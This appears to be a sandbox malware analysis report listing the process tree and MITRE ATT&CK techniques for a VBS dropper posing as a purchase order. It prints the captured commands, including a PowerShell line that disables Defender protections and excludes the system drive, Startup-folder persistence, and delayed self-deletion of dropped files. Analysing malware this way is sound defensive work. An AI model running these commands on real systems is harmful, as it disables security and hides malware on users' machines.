      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2564
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\broadcastmsg_1783607529.txt"
        5⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2432
      - C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5760
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_ndp472-kb4054530-x86-x64-allos-enu_decompression_log.txt"
        5⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4460
      - C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1488
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistmsi790b.txt"
        5⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4852
      - C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5500
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistmsi7936.txt"
        5⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4980
      - C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:980
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistui790b.txt"
        5⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:6104
      - C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:416
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistui7936.txt"
        5⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1860
      - C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4380
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\purchaseorder-a0215-26683.vbs"
        5⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4476
      - C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1848
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\pgtkt_01.ps1"
        5⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4172
      - C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:420
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\qmhmr.ps1"
        5⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3172
      - C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2140
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\rplfm.txt"
        5⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4956
      - C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4656
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\yvshf.txt"
        5⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:5036
      - C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:896
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -ExecutionPolicy Bypass Set-MpPreference -DisableRealtimeMonitoring $true;Set-MpPreference -DisableIntrusiovnPreventionSystem $true;Set-MpPreference -MAPSReporting 0;Set-MpPreference -SubmitSamplesConsent 2;Add-MpPreference -ExclusionPath $env:SystemDrive\ ;
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1116
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\purchaseorder-a0215-26683.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\purchaseorder-a0215-26683.vbs"
        5⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4620
      - C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3552
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\purchaseorder-a0215-26683.vbs & del "1"
        5⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:5832
      - C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\purchaseorder-a0215-26683.vbs
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:568
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\purchaseorder-a0215-26683.vbs"
        5⤵
        
        PID:1132
    - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Windows Update\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\pyqee_01.ps1"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        
        PID:4664
    - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Windows Update\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\sxltg_02.ps1"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        
        PID:3428
    - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Windows Update\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\uflrm.ps1"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of WriteProcessMemory
        
        PID:704
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe"
        6⤵
        
        PID:2000
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\purchaseorder-a0215-26683.vbs"
        5⤵
        
        PID:5692

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...